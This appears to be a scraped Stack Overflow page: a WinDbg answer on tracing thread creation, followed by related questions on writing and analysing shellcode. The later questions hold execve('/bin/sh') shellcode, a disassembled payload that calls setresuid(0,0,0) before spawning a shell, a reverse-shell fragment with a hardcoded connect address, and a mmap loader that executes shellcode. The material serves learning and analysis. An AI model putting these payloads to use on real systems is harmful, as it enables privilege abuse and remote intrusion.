Find the reason why a thread starts - multithreading

I have an application for which I can see threads starting and terminating all over again. I'm now wondering where those threads come from, because IMHO they shouldn't be there (or at least the overhead of creating a thread is not worth it).
This is the first time I use sxe ct to be notified about new threads being started. I can inspect the new thread using k, but it's not giving much information at this point:
0:010> k
# Child-SP RetAddr Call Site
00 000000c7`de1ff898 00000000`00000000 ntdll!RtlUserThreadStart
I then used ~*k and had a look for CreateThread() or similar. Sometimes, I can find such a call
6 Id: 5264.4d68 Suspend: 1 Teb: 000000c7`dd6cb000 Unfrozen
# Child-SP RetAddr Call Site
00 000000c7`dd58ea68 00007ffb`77f3baa2 ntdll!NtCreateThreadEx+0x14
[...]
But in many cases, I don't find such a call. I'm aware that threads could also be injected into the process, like the debugger injects the breakpoint thread.
How do I find out what the origin/reason for a newly created thread is?
Clarifications:
The application is written in .NET, but may have loaded unmanaged DLLs, which in worst case might load other stuff written in interpreted languages. I am not looking for an answer that describes the various reasons a .NET application could create a thread. I am looking for an answer where I have already identified a particular thread (with sxe ct) and I want to know where that thread comes from.

The Break for Sxe ct happens when the system calls the LPTHREADROUTINE function
At this point you do not have the information about who Created the thread in first place.
for example you can run for (i=0;i<x;i++) {CreateThread(....,ThreadRoutine,...);}
and sxe ct wont break until the loop has run x times
You May Need to Set a Breakpoint on one of Create Functions
and look at the Disassembly at the Return Address to know who is Creating the Thread.
a sample code for demo below
the main() creates 10 threads and if you run the binary in windbg with sxe ct
the break will happen only after the printf(...) and before WaitForMultipleObject(...)
#include <stdio.h>
#include <windows.h>
#define THNO 10
CRITICAL_SECTION mycritty;
int counter = 0;
DWORD WINAPI tproc( LPVOID )
{
EnterCriticalSection(&mycritty);
counter++;
printf("%d\n",counter);
Sleep(10000);
LeaveCriticalSection(&mycritty);
return 0;
}
int main(void)
{
ULONG htid[THNO] = {0};
HANDLE hth[THNO] = {NULL};
InitializeCriticalSection( &mycritty );
for(int i = 0; i < THNO; i++)
{
hth[i] = CreateThread(NULL,0,&tproc,NULL,0,&htid[0]);//Line Number 23
}
printf("\n\nAll Threads Created Wait Below Yields cpu for Scheduling\n");
printf("tproc() %p will be executed only now\n\n\n", &tproc);
WaitForMultipleObjects(THNO, hth, TRUE, INFINITE);
return getchar();
}
executing with sxe -c "r #eax" ct in cdb.exe
you can notice the printf() in main has executed prior to sxe break
so you either need an utility in kernel doing PsCreateThreadNotifyRoutine() Callback
or you may need to set a break in Say ntdll!NtCreateThreadEx() function and look at callstack for the Module that Does the Thread Creation.
:\>cdb -c ".prompt_allow -reg -sym;sxe -c \"r #eax\" ct;g" critter.exe
Microsoft (R) Windows Debugger Version 10.0.18362.1 X86
ntdll!LdrpDoDebuggerBreak+0x2c:
778c05a6 cc int 3
0:000> cdb: Reading initial command '.prompt_allow -reg -sym;sxe -c "r #eax" ct;g'
All Threads Created Wait Below Yields cpu for Scheduling
tproc() 012D1000 will be executed only now
eax=012d1000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:0167fccc=00000000
0:001> g
1
eax=012d1000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:0253f9f4=00000000
0:002> g
eax=012d1000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:0235fbec=00000000
0:003> g
eax=012d1000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:0211fe68=00000000
0:004> g
eax=012d1000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:01f7fbe4=00000000
0:005> g
eax=012d1000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:01e1fbdc=00000000
0:006> g
eax=012d1000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:01ccfb78=00000000
0:007> g
eax=012d1000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:01b9f9cc=00000000
0:008> g
eax=012d1000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:01a6fa38=00000000
0:009> g
eax=012d1000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:0187fa60=00000000
0:010> g
2
3
4
5
6
7
8
9
10
g
778670f4 c3 ret
0:000>
0:000> q
quit:
** 
now with a break and sxe ct
notice the Conditional Bp prints the src line number of LPTHREADROUTINE
 **
:\>cdb -c ".lines;.prompt_allow -reg -sym;bp ntdll!NtCreateThreadEx \".frame 3;k1;? poi(#esp+14);gc\";sxe -c \"r #eax\" ct;g" critter.exe
Microsoft (R) Windows Debugger Version 10.0.18362.1 X86
0:000> cdb: Reading initial command '.lines;.prompt_allow -reg -sym;bp ntdll!NtCreateThreadEx ".frame 3;k1;? poi(#esp+14);gc";sxe -c "r #eax" ct;g'
03 002ef9fc 00091384 critter!main+0x93 [xxx\critter.cpp # 23]
ChildEBP RetAddr
002ef6ac 75b1b9da ntdll!ZwCreateThreadEx
Evaluate expression: 593920 = 00091000
03 002ef9fc 00091384 critter!main+0x93 [xxx\critter.cpp # 23]
ChildEBP RetAddr
002ef6ac 75b1b9da ntdll!ZwCreateThreadEx
Evaluate expression: 593920 = 00091000
03 002ef9fc 00091384 critter!main+0x93 [xxx\critter.cpp # 23]
ChildEBP RetAddr
002ef6ac 75b1b9da ntdll!ZwCreateThreadEx
Evaluate expression: 593920 = 00091000
03 002ef9fc 00091384 critter!main+0x93 [xxx\critter.cpp # 23]
ChildEBP RetAddr
002ef6ac 75b1b9da ntdll!ZwCreateThreadEx
Evaluate expression: 593920 = 00091000
03 002ef9fc 00091384 critter!main+0x93 [xxx\critter.cpp # 23]
ChildEBP RetAddr
002ef6ac 75b1b9da ntdll!ZwCreateThreadEx
Evaluate expression: 593920 = 00091000
03 002ef9fc 00091384 critter!main+0x93 [xxx\critter.cpp # 23]
ChildEBP RetAddr
002ef6ac 75b1b9da ntdll!ZwCreateThreadEx
Evaluate expression: 593920 = 00091000
03 002ef9fc 00091384 critter!main+0x93 [xxx\critter.cpp # 23]
ChildEBP RetAddr
002ef6ac 75b1b9da ntdll!ZwCreateThreadEx
Evaluate expression: 593920 = 00091000
03 002ef9fc 00091384 critter!main+0x93 [xxx\critter.cpp # 23]
ChildEBP RetAddr
002ef6ac 75b1b9da ntdll!ZwCreateThreadEx
Evaluate expression: 593920 = 00091000
03 002ef9fc 00091384 critter!main+0x93 [xxx\critter.cpp # 23]
ChildEBP RetAddr
002ef6ac 75b1b9da ntdll!ZwCreateThreadEx
Evaluate expression: 593920 = 00091000
03 002ef9fc 00091384 critter!main+0x93 [xxx\critter.cpp # 23]
ChildEBP RetAddr
002ef6ac 75b1b9da ntdll!ZwCreateThreadEx
Evaluate expression: 593920 = 00091000
All Threads Created Wait Below Yields cpu for Scheduling
tproc() 00091000 will be executed only now
eax=00091000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:0160fda4=00000000
0:001> g
1
eax=00091000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:023ef820=00000000
0:002> g
eax=00091000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:0217fea4=00000000
0:003> g
eax=00091000
778670d8 89442404 mov dword ptr [esp+4],eax ss:0023:01e8fdd0=00000000
0:004>

Related

Assembly code to shell code: section .data and section .text in which order?

For an assignment, I wrote the following assembly code shell_exec.asm that should execute a shell in Linux:
section .data ; declare stuff
arg0 db "/bin/sh",0 ; 1st arg
align 4
argv dd arg0, 0 ; 2nd arg
envp dd 0 ; 3rd arg
section .text
global _start
_start:
mov eax, 0x0b ; execve
mov ebx, arg0 ; 1st arg
mov ecx, argv ; 2nd arg
mov edx, envp ; 3rd arg
int 0x80 ; kernel
I used nasm -f elf32 shell_exec.asm for compilation and ld -m elf_i386 -o shell_exec shell_exec.o for linking. Everything works so far and if I run ./shell_exec the shell spawns the way I want.
Now I wanted to extract the shell code (like \12\34\ab\cd\ef...) from this program. I used objdump -D -z shell_exec to show all parts of the code including the section .data and all zeroes. The output is as follows:
shell_exec: file format elf32-i386
Disassembly of section .text:
08049000 <_start>:
8049000: b8 0b 00 00 00 mov $0xb,%eax
8049005: bb 00 a0 04 08 mov $0x804a000,%ebx
804900a: b9 08 a0 04 08 mov $0x804a008,%ecx
804900f: ba 10 a0 04 08 mov $0x804a010,%edx
8049014: cd 80 int $0x80
Disassembly of section .data:
0804a000 <arg0>:
804a000: 2f das
804a001: 62 69 6e bound %ebp,0x6e(%ecx)
804a004: 2f das
804a005: 73 68 jae 804a06f <__bss_start+0x5b>
804a007: 00 add %al,(%eax)
0804a008 <argv>:
804a008: 00 a0 04 08 00 00 add %ah,0x804(%eax)
804a00e: 00 00 add %al,(%eax)
0804a010 <envp>:
804a010: 00 00 add %al,(%eax)
804a012: 00 00 add %al,(%eax)
If I only have a section .text within my assembly code, I can usually just copy all given values and use them as my shell code. But how is the order in case I have those two sections, namely .data and .text?
Edit 1
So, my second attempt is to do the assembly code like this:
section .text
global _start
_start:
mov ebp, esp
xor eax, eax
push eax ; -4
push "/sh " ; -8
push "/bin" ; -12
xor eax, eax
push eax
lea ebx, [ebp-12]
push ebx ; 1st arg
mov ecx, esp ; 2nd arg
lea edx, [ebp-4] ; 3rd arg
mov eax, 0x0b ; execve
int 0x80 ; kernel
This avoids using multiple sections, but sadly leads to a segmentation fault.

x86 64 Reverse shell shellcode

I am looking a reverse shell shellcode from this link. I am not able to follow the reason for the following instructions in the shellcode:
4000a3: 4d 31 d2 xor r10,r10
4000a6: 41 52 push r10
4000a8: c6 04 24 02 mov BYTE PTR [rsp],0x2
4000ac: 66 c7 44 24 02 7a 69 mov WORD PTR [rsp+0x2],0x697a
4000b3: c7 44 24 04 0a 33 35 mov DWORD PTR [rsp+0x4],0x435330a
4000ba: 04
4000bb: 48 89 e6 mov rsi,rsp
I searched other SO questions, and I find that BYTE/WORD/DWORD PTR would be used to assign a byte/word/dword. Since this x86 64, I'm assuming WORD here means 2 bytes and DWORD means 4 bytes (please correct me if I'm wrong).
The author is pushing zero on the stack. Then he has 3 mov instructions.
Assume RSP initially points to:
x00 x00 x00 x00 x00 x00 x00 x00
1) Is the following the effect of the three mov instructions (assuming little endian) ?
x04 x35 x33 x0a x7a x69 x00 x02
2) If yes, then what is the author achieving by it because isn't the next mov instructions overwriting what's pointed by rsp ?
Thanks
1) Yes
2) Author is saving the sockaddr for the socket connect syscall
int connect(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
In x86-64, the arguments are the registers rdi, rsi and rdx. So, He is moving the pointer addr pointer to rsi register.
mov BYTE PTR [rsp],0x2 ; Family Address (PF_INET)
mov WORD PTR [rsp+0x2],0x697a ; port = 27002
mov DWORD PTR [rsp+0x4],0x435330a ; addr = 10.51.53.4 (0a333504)

Assembly - Passing parameters to a function call

I am currently practicing with assembly reading by disassemblying C programs and trying to understand what they do.
I am stuck with a trivial one: a simple hello world program.
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("Hello, world!");
return(0);
}
When I disassemble the main:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400526 <+0>: push rbp
0x0000000000400527 <+1>: mov rbp,rsp
0x000000000040052a <+4>: mov edi,0x4005c4
0x000000000040052f <+9>: mov eax,0x0
0x0000000000400534 <+14>: call 0x400400 <printf#plt>
0x0000000000400539 <+19>: mov eax,0x0
0x000000000040053e <+24>: pop rbp
0x000000000040053f <+25>: ret
I understand the first two lines: the base pointer is saved on the stack (by push rbp, which causes the value of the stack pointer to be decreased by 8, because it has "grown") and the value of the stack pointer is saved in the base pointer (so that parameters and local variable can be easily reached through positive and negative offsets, respectively, while the stack can keep "growing").
The third line presents the first issue: why is 0x4005c4 (the address of the "Hello, World!" string) moved in the edi register instead of moving it on the stack? Shouldn't the printf function take the address of that string as parameter? For what I know, functions take parameters from the stack (but here, it looks like the parameter is put in that register: edi)
On another post here on StackOverflow I read that "printf#ptl" is like a stub function that calls the real printf function. I tried to disassemble that function, but it gets even more confusing:
(gdb) disassemble printf
Dump of assembler code for function __printf:
0x00007ffff7a637b0 <+0>: sub rsp,0xd8
0x00007ffff7a637b7 <+7>: test al,al
0x00007ffff7a637b9 <+9>: mov QWORD PTR [rsp+0x28],rsi
0x00007ffff7a637be <+14>: mov QWORD PTR [rsp+0x30],rdx
0x00007ffff7a637c3 <+19>: mov QWORD PTR [rsp+0x38],rcx
0x00007ffff7a637c8 <+24>: mov QWORD PTR [rsp+0x40],r8
0x00007ffff7a637cd <+29>: mov QWORD PTR [rsp+0x48],r9
0x00007ffff7a637d2 <+34>: je 0x7ffff7a6380b <__printf+91>
0x00007ffff7a637d4 <+36>: movaps XMMWORD PTR [rsp+0x50],xmm0
0x00007ffff7a637d9 <+41>: movaps XMMWORD PTR [rsp+0x60],xmm1
0x00007ffff7a637de <+46>: movaps XMMWORD PTR [rsp+0x70],xmm2
0x00007ffff7a637e3 <+51>: movaps XMMWORD PTR [rsp+0x80],xmm3
0x00007ffff7a637eb <+59>: movaps XMMWORD PTR [rsp+0x90],xmm4
0x00007ffff7a637f3 <+67>: movaps XMMWORD PTR [rsp+0xa0],xmm5
0x00007ffff7a637fb <+75>: movaps XMMWORD PTR [rsp+0xb0],xmm6
0x00007ffff7a63803 <+83>: movaps XMMWORD PTR [rsp+0xc0],xmm7
0x00007ffff7a6380b <+91>: lea rax,[rsp+0xe0]
0x00007ffff7a63813 <+99>: mov rsi,rdi
0x00007ffff7a63816 <+102>: lea rdx,[rsp+0x8]
0x00007ffff7a6381b <+107>: mov QWORD PTR [rsp+0x10],rax
0x00007ffff7a63820 <+112>: lea rax,[rsp+0x20]
0x00007ffff7a63825 <+117>: mov DWORD PTR [rsp+0x8],0x8
0x00007ffff7a6382d <+125>: mov DWORD PTR [rsp+0xc],0x30
0x00007ffff7a63835 <+133>: mov QWORD PTR [rsp+0x18],rax
0x00007ffff7a6383a <+138>: mov rax,QWORD PTR [rip+0x36d70f] # 0x7ffff7dd0f50
0x00007ffff7a63841 <+145>: mov rdi,QWORD PTR [rax]
0x00007ffff7a63844 <+148>: call 0x7ffff7a5b130 <_IO_vfprintf_internal>
0x00007ffff7a63849 <+153>: add rsp,0xd8
0x00007ffff7a63850 <+160>: ret
End of assembler dump.
The two mov operations on eax (mov eax, 0x0) bother me a little as well, since I don't get they role in here (but I am more concerned with what I have just described).
Thank you in advance.
gcc is targeting the x86-64 System V ABI, used by all x86-64 systems other than Windows (for various historical reasons). Its calling convention passes the first few args in registers before falling back to the stack. (See also the Wikipedia basic summary of this calling convention.)
And yes, this is different from the crusty old 32-bit calling conventions that use the stack for everything. This is a Good Thing. See also the x86 tag wiki for more links to ABI docs, and tons of other stuff.
0x0000000000400526: push rbp
0x0000000000400527: mov rbp,rsp # stack-frame boilerplate
0x000000000040052a: mov edi,0x4005c4 # first arg
0x000000000040052f: mov eax,0x0 # 0 FP args in vector registers
0x0000000000400534: call 0x400400 <printf#plt>
0x0000000000400539: mov eax,0x0 # return 0. If you'd compiled with optimization, this and the previous mov would be xor eax,eax
0x000000000040053e: pop rbp # clean up stack frame
0x000000000040053f: ret
Pointers to static data fit into 32 bits, which is why it can use mov edi, imm32 instead of movabs rdi, imm64.
Floating-point args are passed in SSE registers (xmm0-xmm7), even to var-args functions. al indicates how many FP args are in vector registers. (Note that C's type promotion rules mean that float args to variadic functions are always promoted to double, which is why printf doesn't have any format specifiers for float, only double and long double).
printf#ptl is like a stub function that calls the real printf function.
Yes, that's right. The Procedure Linking Table entry starts out as a jmp to a dynamic linker routine that resolves the symbol and modifies the code in the PLT to turn it into a jmp directly to the address where libc's printf definition is mapped. printf is a weak alias for __printf, which is why gdb chooses the __printf label for that address, after you asked for disassembly of printf.
Dump of assembler code for function __printf:
0x00007ffff7a637b0 <+0>: sub rsp,0xd8 # reserve space
0x00007ffff7a637b7 <+7>: test al,al # check if there were any FP args
0x00007ffff7a637b9 <+9>: mov QWORD PTR [rsp+0x28],rsi # store the integer arg-passing registers to local scratch space
0x00007ffff7a637be <+14>: mov QWORD PTR [rsp+0x30],rdx
0x00007ffff7a637c3 <+19>: mov QWORD PTR [rsp+0x38],rcx
0x00007ffff7a637c8 <+24>: mov QWORD PTR [rsp+0x40],r8
0x00007ffff7a637cd <+29>: mov QWORD PTR [rsp+0x48],r9
0x00007ffff7a637d2 <+34>: je 0x7ffff7a6380b <__printf+91> # skip storing the FP arg-passing regs if there were no FP args
0x00007ffff7a637d4 <+36>: movaps XMMWORD PTR [rsp+0x50],xmm0
0x00007ffff7a637d9 <+41>: movaps XMMWORD PTR [rsp+0x60],xmm1
0x00007ffff7a637de <+46>: movaps XMMWORD PTR [rsp+0x70],xmm2
0x00007ffff7a637e3 <+51>: movaps XMMWORD PTR [rsp+0x80],xmm3
0x00007ffff7a637eb <+59>: movaps XMMWORD PTR [rsp+0x90],xmm4
0x00007ffff7a637f3 <+67>: movaps XMMWORD PTR [rsp+0xa0],xmm5
0x00007ffff7a637fb <+75>: movaps XMMWORD PTR [rsp+0xb0],xmm6
0x00007ffff7a63803 <+83>: movaps XMMWORD PTR [rsp+0xc0],xmm7
branch_target_from_test_je:
0x00007ffff7a6380b <+91>: lea rax,[rsp+0xe0] # some more stuff
So printf's implementation keeps the var-args handling simple by storing all the arg-passing registers (except the first one holding the format string) in order to local arrays. It can walk a pointer through them instead of needing switch-like code to extract the right integer or FP arg. It still needs to keep track of the first 5 integer and first 8 FP args, because they aren't contiguous with the rest of the args pushed by the caller onto the stack.
The Windows 64-bit calling convention's shadow space simplifies this by providing space for a function to dump its register args to the stack contiguous with the args already on the stack, but that's not worth wasting 32 bytes of stack on every call, IMO. (See my answer and comments on other answers on Why does Windows64 use a different calling convention from all other OSes on x86-64?)
there is nothing trivial about printf, not the first choice for what you are trying to do but, turned out to be not overly complicated.
Something simpler:
extern unsigned int more_fun ( unsigned int );
unsigned int fun ( unsigned int x )
{
return(more_fun(x)+7);
}
0000000000000000 <fun>:
0: 48 83 ec 08 sub $0x8,%rsp
4: e8 00 00 00 00 callq 9 <fun+0x9>
9: 48 83 c4 08 add $0x8,%rsp
d: 83 c0 07 add $0x7,%eax
10: c3 retq
and the stack is used. eax used for the return.
now use a pointer
extern unsigned int more_fun ( unsigned int * );
unsigned int fun ( unsigned int x )
{
return(more_fun(&x)+7);
}
0000000000000000 <fun>:
0: 48 83 ec 18 sub $0x18,%rsp
4: 89 7c 24 0c mov %edi,0xc(%rsp)
8: 48 8d 7c 24 0c lea 0xc(%rsp),%rdi
d: e8 00 00 00 00 callq 12 <fun+0x12>
12: 48 83 c4 18 add $0x18,%rsp
16: 83 c0 07 add $0x7,%eax
19: c3 retq
and there you go edi used as in your case.
two pointers
extern unsigned int more_fun ( unsigned int *, unsigned int * );
unsigned int fun ( unsigned int x, unsigned int y )
{
return(more_fun(&x,&y)+7);
}
0000000000000000 <fun>:
0: 48 83 ec 18 sub $0x18,%rsp
4: 89 7c 24 0c mov %edi,0xc(%rsp)
8: 89 74 24 08 mov %esi,0x8(%rsp)
c: 48 8d 7c 24 0c lea 0xc(%rsp),%rdi
11: 48 8d 74 24 08 lea 0x8(%rsp),%rsi
16: e8 00 00 00 00 callq 1b <fun+0x1b>
1b: 48 83 c4 18 add $0x18,%rsp
1f: 83 c0 07 add $0x7,%eax
22: c3 retq
now edi and esi are used. all looking like it is the calling convention to me...
a string
extern unsigned int more_fun ( const char * );
unsigned int fun ( void )
{
return(more_fun("Hello World")+7);
}
0000000000000000 <fun>:
0: 48 83 ec 08 sub $0x8,%rsp
4: bf 00 00 00 00 mov $0x0,%edi
9: e8 00 00 00 00 callq e <fun+0xe>
e: 48 83 c4 08 add $0x8,%rsp
12: 83 c0 07 add $0x7,%eax
15: c3 retq
eax is not prepped as in printf, so perhaps eax has something to do with the number of parameters that follow, try putting more parameters on your printf and see if eax going in changes.
if I add -m32 on my command line then edi is not used.
00000000 <fun>:
0: 83 ec 18 sub $0x18,%esp
3: 68 00 00 00 00 push $0x0
8: e8 fc ff ff ff call 9 <fun+0x9>
d: 83 c4 1c add $0x1c,%esp
10: 83 c0 07 add $0x7,%eax
13: c3
I suspect the push is a placeholder for the linker to push the address to the string when the linker patches up the binary, this was just an object. So my guess is when you have a 64 bit pointer, the first one or two go into registers then the stack is used after it runs out of registers.
Obviously the compiler works so this is conforming to the compilers calling convention.
extern unsigned int more_fun ( unsigned int );
unsigned int fun ( unsigned int x )
{
return(more_fun(x+5)+7);
}
0000000000000000 <fun>:
0: 48 83 ec 08 sub $0x8,%rsp
4: 83 c7 05 add $0x5,%edi
7: e8 00 00 00 00 callq c <fun+0xc>
c: 48 83 c4 08 add $0x8,%rsp
10: 83 c0 07 add $0x7,%eax
13: c3 retq
correction based on Peter's comment. Yeah it does appear that registers are being used here.
And since he mentioned 6 parameters, lets try 7.
extern unsigned int more_fun
(
unsigned int,
unsigned int,
unsigned int,
unsigned int,
unsigned int,
unsigned int,
unsigned int
);
unsigned int fun (
unsigned int a,
unsigned int b,
unsigned int c,
unsigned int d,
unsigned int e,
unsigned int f,
unsigned int g
)
{
return(more_fun(a+1,b+2,c+3,d+4,e+5,f+6,g+7)+17);
}
0000000000000000 <fun>:
0: 48 83 ec 10 sub $0x10,%rsp
4: 83 c1 04 add $0x4,%ecx
7: 83 c2 03 add $0x3,%edx
a: 8b 44 24 18 mov 0x18(%rsp),%eax
e: 83 c6 02 add $0x2,%esi
11: 83 c7 01 add $0x1,%edi
14: 41 83 c1 06 add $0x6,%r9d
18: 41 83 c0 05 add $0x5,%r8d
1c: 83 c0 07 add $0x7,%eax
1f: 50 push %rax
20: e8 00 00 00 00 callq 25 <fun+0x25>
25: 48 83 c4 18 add $0x18,%rsp
29: 83 c0 11 add $0x11,%eax
2c: c3 retq
and sure enough that 7th parameter was pulled from the stack modified and put back on the stack before the call. The other 6 in registers.

How can I check the commands the given shellcode executes?

Lets say I'm given the following shellcode:
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
How can I check what it means / the ASM instructions it represents?
Thanks :)
Compile and disassemble it! For your example:
$ cat example.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
$ make example.o
cc -c -o example.o example.c
$ objdump -D example.o
example.o: file format elf64-x86-64
Disassembly of section .data:
0000000000000000 <shellcode>:
0: 31 c0 xor %eax,%eax
2: 31 db xor %ebx,%ebx
4: 31 c9 xor %ecx,%ecx
6: 99 cltd
7: b0 a4 mov $0xa4,%al
9: cd 80 int $0x80
b: 6a 0b pushq $0xb
d: 58 pop %rax
e: 51 push %rcx
f: 68 2f 2f 73 68 pushq $0x68732f2f
14: 68 2f 62 69 6e pushq $0x6e69622f
19: 89 e3 mov %esp,%ebx
1b: 51 push %rcx
1c: 89 e2 mov %esp,%edx
1e: 53 push %rbx
1f: 89 e1 mov %esp,%ecx
21: cd 80 int $0x80
...
Note the use of objdump's -D flag to disassemble all sections, rather than just what it thinks the executable sections are.
As for what this code means, I guess we can break it down piece by piece (from above, with inline comments):
xor %eax,%eax // clear eax register
xor %ebx,%ebx // clear ebx register
xor %ecx,%ecx // clear ecx register
cltd // clear edx register (via sign-extension of eax
// - only a compiler would do this operation
// in this way, I'd guess, so your shell code
// probably wasn't hand-written
mov $0xa4,%al // put 0xa4 (decimal 164) into eax
int $0x80 // do system call. Syscall 164 is "sys_setresuid"
// - it takes three parameters, in ebx, ecx, and edx,
// so in this case, it's calling sys_setresuid(0, 0, 0);
pushq $0xb // push constant 0xb (decimal 11) to the stack
pop %rax // pop it back into rax
push %rcx // push the 0 in rcx to the stack
pushq $0x68732f2f // push constant to the stack (looks like ASCII? "//sh")
pushq $0x6e69622f // push constant to the stack (looks like ASCII? "/bin")
mov %esp,%ebx // put a pointer to this stack pushed stuff into ebx
push %rcx // push rcx again, it's still 0
mov %esp,%edx // put a pointer to this 0 on the stack into edx
push %rbx // push rbx, it's 0 too
mov %esp,%ecx // put a pointer to this 0 into ecx
int $0x80 // system call again - this time, it's call 11, which is
// sys_execve. It takes a pointer to a filename to execute
// and two more pointers to the arguments and environment to
// pass
So this code first calls:
sys_setresuid(0, 0, 0)
To give itself root privileges, and then calls sys_execve() to start running /bin/sh, giving a shell prompt.

Shell code print character(64bits)

I have a problem with this shell code.
When I run the assembler code it prints the caracter, but when I call it as a function from c it does not.
I used gdb to test all the instruction executed and it seems to execute all the instructions.
It is very weird because I debugged both asm and c versions and they do the same but in the int 0x80 it prints nothing for the C code.
This is the C code:
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
/****************************************************************
0000000000000000 <main>: /
0: 48 31 c9 xor %rcx,%rcx /
3: 48 31 c0 xor %rax,%rax /
6: eb 13 jmp 1b <n> /
/
0000000000000008 <et>: /
8: 59 pop %rcx /
9: 48 31 c0 xor %rax,%rax /
c: 48 31 db xor %rbx,%rbx /
f: 48 31 d2 xor %rdx,%rdx /
12: b0 04 mov $0x4,%al /
14: b3 01 mov $0x1,%bl /
16: b2 01 mov $0x1,%dl /
18: cd 80 int $0x80 /
1a: c3 retq /
/
000000000000001b <n>: /
1b: e8 e8 ff ff ff callq 8 <et> /
/
0000000000000020 <abc>: /
20: 77 .byte 0x77 /
... /
******************************************************************/
char shellcode[] = "\x48\x31\xc9\x48\x31\xc0\xeb\x13\x59\x48\x31\xc0\x48\x31\xdb\x48\x31\xd2\xb0\x04\xb3\x01\xb2\x01\xcd\x80\xc3\xe8\xe8\xff\xff\xffw";
//char shellcode[] = "\x48\x31\xc9\x48\x31\xc0\xeb\x11\x59\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x48\x31\xc0\x48\xff\xc0\xcd\x80\xe8\xea\xff\xff\xffw";
int main(int argc, char **argv) {
char *ptr = mmap(0, sizeof(shellcode),
PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
(void)((void(*)())ptr)();
printf("\n");
return 0;
}
This is the nasm code:
global main
main: ; main
xor rcx, rcx ; eficient way turning register to 0
xor rax, rax ; exclusive or
jmp n
et:
pop rcx
xor rax, rax
xor rbx, rbx
xor rdx, rdx
mov al, 4 ; Number of system call (write)
mov bl, 1 ; argument(1=stdout)
mov dl, 1 ; number of characters
int 0x80
ret
n:
call et
abc: db 'w'
EDIT:
I have solved the problem.
In this webpage: http://www.exploit-db.com/papers/13065/ I found that in 64 bits the systemcalls must be called using syscall insted of int 0x80 and the registers of the arguments are different.
Then I found this other web page: http://cs.lmu.edu/~ray/notes/linuxsyscalls/. It have some examples about doing these systemcalls, think it is a good webpage.
But the question now is, why did it work with the Nasm code? Is it something about compatibility? May be the assembler code was running in compatibility mode because the assembler detected the int 0x80 instruction and in C the compiler couldn't because it cannot interpret the shellcode?
I leave here the working C code:
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
/****************************************************************
0000000000000000 <main>: /
0: 48 31 c9 xor %rcx,%rcx /
3: 48 31 c0 xor %rax,%rax /
6: eb 16 jmp 1e <n> /
/
0000000000000008 <et>: /
8: 5e pop %rsi /
9: 48 31 c0 xor %rax,%rax /
c: 48 31 db xor %rbx,%rbx /
f: 48 31 d2 xor %rdx,%rdx /
12: b0 01 mov $0x1,%al /
14: b3 01 mov $0x1,%bl /
16: 48 89 df mov %rbx,%rdi /
19: b2 01 mov $0x1,%dl /
1b: 0f 05 syscall /
1d: c3 retq /
/
000000000000001e <n>: /
1e: e8 e5 ff ff ff callq 8 <et> /
/
0000000000000023 <abc>: /
23: 77 .byte 0x77 /
/
****************************************************************/
char shellcode[] = "\x48\x31\xc9\x48\x31\xc0\xeb\x16\x5e\x48\x31\xc0\x48\x31\xdb\x48\x31\xd2\xb0\x01\xb3\x01\x48\x89\xdf\xb2\x01\x0f\x05\xc3\xe8\xe5\xff\xff\xffw";
//char shellcode[] = "\x48\x31\xc9\x48\x31\xc0\xeb\x13\x59\x48\x31\xc0\x48\x31\xdb\x48\x31\xd2\xb0\x04\xb3\x01\xb2\x01\xcd\x80\xc3\xe8\xe8\xff\xff\xffw";
//char shellcode[] = "\x48\x31\xc9\x48\x31\xc0\xeb\x11\x59\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x48\x31\xc0\x48\xff\xc0\xcd\x80\xe8\xea\xff\xff\xffw";
int main(int argc, char **argv) {
char *ptr = mmap(0, sizeof(shellcode),
PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
(void)((void(*)())ptr)();
printf("\n");
return 0;
}
You were probably building the ELF file as a 32 bit one. Even if your OS is 64 bits, if the binary is 32 then it runs in compatibility mode.
Same thing happens on Windows (it's called "Windows-on-Windows-64" or "WOW64").

Resources